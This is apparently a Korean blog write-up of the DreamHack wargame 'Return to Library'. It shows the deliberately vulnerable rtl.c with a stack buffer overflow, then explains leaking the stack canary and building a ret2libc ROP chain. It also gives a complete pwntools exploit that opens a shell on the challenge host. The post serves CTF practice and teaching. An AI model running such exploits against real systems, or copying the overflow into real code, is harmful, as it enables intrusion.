본문 바로가기
  • Show the world what you can do
Pwnable/DreamHack Wargame

[Dreamhack] Return to Library 풀이

by kaymin 2022. 7. 9.

교훈: payload에 보낼 때는 바이트 수 꼭 신경써서 보내야된다(엥간하면 패킹하렴), recvline()[:-1] 대신 recvn을 더 적극 이용해라...recvline()[:-1]는 너 생각보다 바이트가 훨씬 더 많이 나올 위험이 있기때문, 익스플로잉 시 got EOF로만 계속 끝나면 nop gadget 이용할 생각도 하기

 

먼저  rtl.c의 코드는

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

강의만 들었다면 구성짜는건 아주 쉽다

 

먼저 더미의 위치는 어셈블리어를 통해 버퍼와 카나리 사이에 8바이트로 껴있음을 확인할 수 있었다.

왜냐면 버퍼는 rbp-0x40 이고, 카나리는 rbp-0x8이니

 

 

그리고 익스플로잇 시 첫 bof때 카나리 값을 알아내고, 두번째 bof땐

ret자리엔 'pop edi;ret' 가젯을 넣어주고, 그 아래 8바이트엔 /bin/sh의 주소, 그 아래엔 nop gadget의 주소(8바이트), 그 아래에 system@plt의 주소를 넣어주면 된다.

 

그래서 위의 주소들을 각각 찾으면 됨

 

pop rdi 가젯주소 찾기...nop가젯도 저런식으로 찾으면 됨
/bin/sh의 주소 찾기
system@plt 주소 찾기

 

그렇게 익스플로잇 코드를 짜면

 

from pwn import *
context.arch = 'amd64'
p=remote('host3.dreamhack.games', 16886)

p.sendafter(b'Buf: ', b'A'*57)
p.recvuntil(b'Buf: ')
p.recv(57)
canary=b'\x00'
canary+=p.recvn(7)
p.recvuntil(b'Buf: ')

payload=b'A'*56 # buf+dummy
payload+=canary
payload+=b'A'*8 # sfp
payload+=p64(0x0000000000400853) # gadget's addr
payload+=p64(0x400874) # binsh addr
payload+=p64(0x0000000000400285) # nop gadget addr
payload+=p64(0x4005d0) # system@plt addr

p.send(payload)

p.interactive()

#gadget addr=0x0000000000400853
#system@plt addr=0x4005d0
#/bin/sh addr=0x400874
#nop gadget addr=0x0000000000400285

저기서 헤멘 부분은 교훈에 적어논 그 두 부분이였다.

recvline()[:-1]에서 내가 생각한 바이트만큼 나올거라고 믿고 썼는데..아닐때도 있던 것이였다.

그러니까 p.recvn()를 많이 쓰자. recvn은 원하는 정확히 그 바이트만큼을 받는다는 뜻이니 확실하고 좋다

 

그래서 저 익스플로잇 코드를 돌리면

 

성공

'Pwnable > DreamHack Wargame' 카테고리의 다른 글

[Dreamhack] basic_rop_x64 풀이  (3) 2022.07.12
[Dreamhack] ROP 풀이  (2) 2022.07.12
[Dreamhack] ssp_001 풀이  (0) 2022.07.08
[Dreamhack] Return to Shellcode (canary) 풀이  (0) 2022.07.01
[Dreamhack] basic_exploitation_000 풀이  (0) 2022.06.07

댓글